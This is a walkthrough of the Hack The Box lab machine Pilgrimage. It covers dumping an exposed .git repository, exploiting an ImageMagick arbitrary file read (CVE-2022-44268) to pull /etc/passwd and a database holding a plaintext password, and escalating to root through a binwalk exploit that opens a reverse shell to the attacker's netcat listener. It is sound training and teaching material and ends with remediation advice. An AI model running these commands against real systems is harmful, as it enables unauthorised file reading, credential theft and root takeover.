https://www.hackthebox.com/machines/Pilgrimage

OS: Debian

10.129.12.75

Credentials:

UsernamePasswordNotes/Hash
emilyabigchonkyboi123dumping from a database file with LFI

nmap results:

# Nmap 7.99 scan initiated Mon Jun  8 12:03:46 2026 as: /usr/lib/nmap/nmap -p- --open -sC -sV -A -vv -oA nmap/Pilgrimage 10.129.12.75
Nmap scan report for 10.129.12.75
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-06-08 12:03:47 EDT for 21s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnPDlM1cNfnBOJE71gEOCGeNORg5gzOK/TpVSXgMLa6Ub/7KPb1hVggIf4My+cbJVk74fKabFVscFgDHtwPkohPaDU8XHdoO03vU8H04T7eqUGj/I2iqyIHXQoSC4o8Jf5ljiQi7CxWWG2t0n09CPMkwdqfEJma7BGmDtCQcmbm36QKmUv6Kho7/LgsPJGBP1kAOgUHFfYN1TEAV6TJ09OaCanDlV/fYiG+JT1BJwX5kqpnEAK012876UFfvkJeqPYXvM0+M9mB7XGzspcXX0HMbvHKXz2HXdCdGSH59Uzvjl0dM+itIDReptkGUn43QTCpf2xJlL4EeZKZCcs/gu8jkuxXpo9lFVkqgswF/zAcxfksjytMiJcILg4Ca1VVMBs66ZHi5KOz8QedYM2lcLXJGKi+7zl3i8+adGTUzYYEvMQVwjXG0mPkHHSldstWMGwjXqQsPoQTclEI7XpdlRdjS6S/WXHixTmvXGTBhNXtrETn/fBw4uhJx4dLxNSJeM=
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOaVAN4bg6zLU3rUMXOwsuYZ8yxLlkVTviJbdFijyp9fSTE6Dwm4e9pNI8MAWfPq0T0Za0pK0vX02ZjRcTgv3yg=
|   256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILGkCiJaVyn29/d2LSyMWelMlcrxKVZsCCgzm6JjcH1W
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/

Then let’s rescan HTTP after modifying pilgrimage.htb to /etc/hosts

# Nmap 7.99 scan initiated Mon Jun  8 20:37:43 2026 as: /usr/lib/nmap/nmap -p80 -sC -sV -vv -oA nmap/HTTPDefaultScan 10.129.12.75
Nmap scan report for pilgrimage.htb (10.129.12.75)
Host is up, received reset ttl 63 (0.018s latency).
Scanned at 2026-06-08 20:37:43 EDT for 6s

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Pilgrimage - Shrink Your Images
| http-git: 
|   10.129.12.75:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun  8 20:37:49 2026 -- 1 IP address (1 host up) scanned in 6.86 seconds

Attack + Enum Vectors

  • TCP 80: HTTP nginx 1.18.0
  • TCP 22: SSH OpenSSH 8.4p1

UDP (161 SNMP)?

  • closed

Service Enum Notes:

Web Service: Gobuster / fuff

Since from nmap default scripts we found .git: let’s dump it using

https://github.com/arthaud/git-dumper

make a directory git to store files then:

git-dumper http://pilgrimage.htb/.git git

looked for credentials for a bit doesn’t seem like anything useful for now other than maybe it’s possible to do SQL injection, let’s first go to the web service first to see.

In the directory we found a magick file:

./magick --version

does not return version but an error:

dlopen():error loading libfuse.so.2                                             
AppImages require FUSE to run.                                                                           
You mightstill be able to extract the contents of this AppImage                                         
if you run it with the --appimage-extract option.                                                        
See https://github.com/AppImage/AppImageKit/wiki/FUSE                                                    
for more information

Hmmmm throwing error with claude I learned a new technique:

./magick --appimage-extract

will extract all of the contents of the app image: and using

./squashfs-root/AppRun --version

we got the version:

Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

and so we finally found the version of ImageMagick 7.1.0-49!


Initial Foothold

Let’s google the exploit

ImageMagick 7.1.0 exploit site:github.com

we found: https://github.com/Sybil-Scan/imagemagick-lfi-poc and leading to https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

We first had to install dependencies:

sudo apt-get install pngcrush imagemagick exiftool exiv2 -y

then: we can read /etc/passwd or any file like:

python3 generate.py -f "/etc/passwd" -o exploit.png

then upload the file and convert it from the server, then download the file:

wget http://pilgrimage.htb/shrunk/[result].png

and extract the contents from the image:

identify -verbose [result].png > out.txt

so we can decode the content to achieve File Read:

python3 -c 'print(bytes.fromhex("REDACTED").decode("utf-8"))'

/etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin          
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin         
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

and we found user emily

After trying for a bit and being stuck for a bit, I had to reference to write-up: https://0xdf.gitlab.io/2023/11/25/htb-pilgrimage.html#shell-as-emily. In index.php:

if(isset($_SESSION['user'])) {                                                   
        $db = new PDO('sqlite:/var/db/pilgrimage');
        $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");             
        $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));              
      }

This part essentially hinted us about /var/db/pilgrimage file:

Following the LFI: we’ve got an encoding now, but I wasn’t sure what it was. So I googled identify encoding and using https://dencode.com/en/ with a valid /etc/passwd encoding before, we see it’s hexadecimal string, googling: decode hexadecimal linux we found:

echo "48656c6c6f20576f726c64" | xxd -r -p

from google AI overview: now I had to remove the new lines:

cat encoded.txt | sed -z 's/\n//g' > hex.txt

and:

cat hex.txt | xxd -r -p > test.db

and dumping it with sqlite3

sqlite3 test.db .dump

we got:

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
INSERT INTO users VALUES('emily','abigchonkyboi123');
CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL);

and password of emily:abigchonkyboi123; now leverage SSH

We got in as emily!


Priv Esc

No sudo privileges or interesting SUID set programs.

Let’s first try re-use password on root, and root: didn’t work

pspy64 montitor:

2026/06/09 13:50:52 CMD: UID=0     PID=1      | /sbin/init 
2026/06/09 13:54:22 CMD: UID=0     PID=3143   | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0 
2026/06/09 13:54:22 CMD: UID=0     PID=3144   | 
2026/06/09 13:54:22 CMD: UID=0     PID=3145   | ip -4 addr change 10.129.12.75/255.255.0.0 broadcast 10.129.255.255 valid_lft 3600 preferred_lft 3600 dev eth0 label eth0 
2026/06/09 13:54:22 CMD: UID=0     PID=3146   | /bin/sh /sbin/dhclient-script 
2026/06/09 13:54:22 CMD: UID=0     PID=3147   | /bin/sh /sbin/dhclient-script 
2026/06/09 13:54:22 CMD: UID=0     PID=3148   | /bin/sh /sbin/dhclient-script 
2026/06/09 13:54:22 CMD: UID=0     PID=3149   | 
2026/06/09 13:54:22 CMD: UID=0     PID=3150   | 
2026/06/09 13:54:22 CMD: UID=0     PID=3151   | /bin/sh /sbin/dhclient-script

ps aux | grep root

root         688  0.0  0.0   6816  3020 ?        Ss   01:53   0:00 /bin/bash /usr/sbin/malwarescan.sh

cat /usr/sbin/malwarescan.sh

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

I was quite stuck here and appearantly the binwalk is exploitable:

binwalk -h

shows its version v2.3.2 and by: https://www.exploit-db.com/exploits/51249

We can get remote code execution if binwalk executes the .png filew create with this exploit. And from the malwarescan.sh we see that once we create a file in /var/www/pilgrimage.htb/shrunk binout executes binwalk on the file

Let’s try our assumption:

touch test.png

then

python3 51249.py test.png HTB_VPN_IP 1337

and set up listener on our kali:

sudo rlwrap -cAr nc -lvnp 1337

then transfer generated binwalk_exploit.png to target:

mv binwalk_exploit.png /var/www/pilgrimage.htb/shrunk

and we got root shell!

Therefore pwn’d.


Conclusion & Remediation

The box pilgrimage was definitely not a simple box for me, but I did learn more and enhanced my methodology skills and trouble shooting skills also with AI. I thought this box wouldn’t take me so long but I struggled and improved.

To remediate for similar attacks: system administrators needs to make sure their website’s .git is not leaked and accessible by the public. In addition, they should not be using vulnerable applications like the ImageMagick being vulnerable to the LFI attack in this box. The outdated binaries like binwalk in this box should also be updated, and there are a couple of ways to prevent the privilege escalation from happening: make sure the path (/shrunk in this case) that is “sanitizing” with malwarescan.sh should not be writable by other users, and the monitoring malwarescan.sh can also be executed by www-data or a lower leveled privilege user.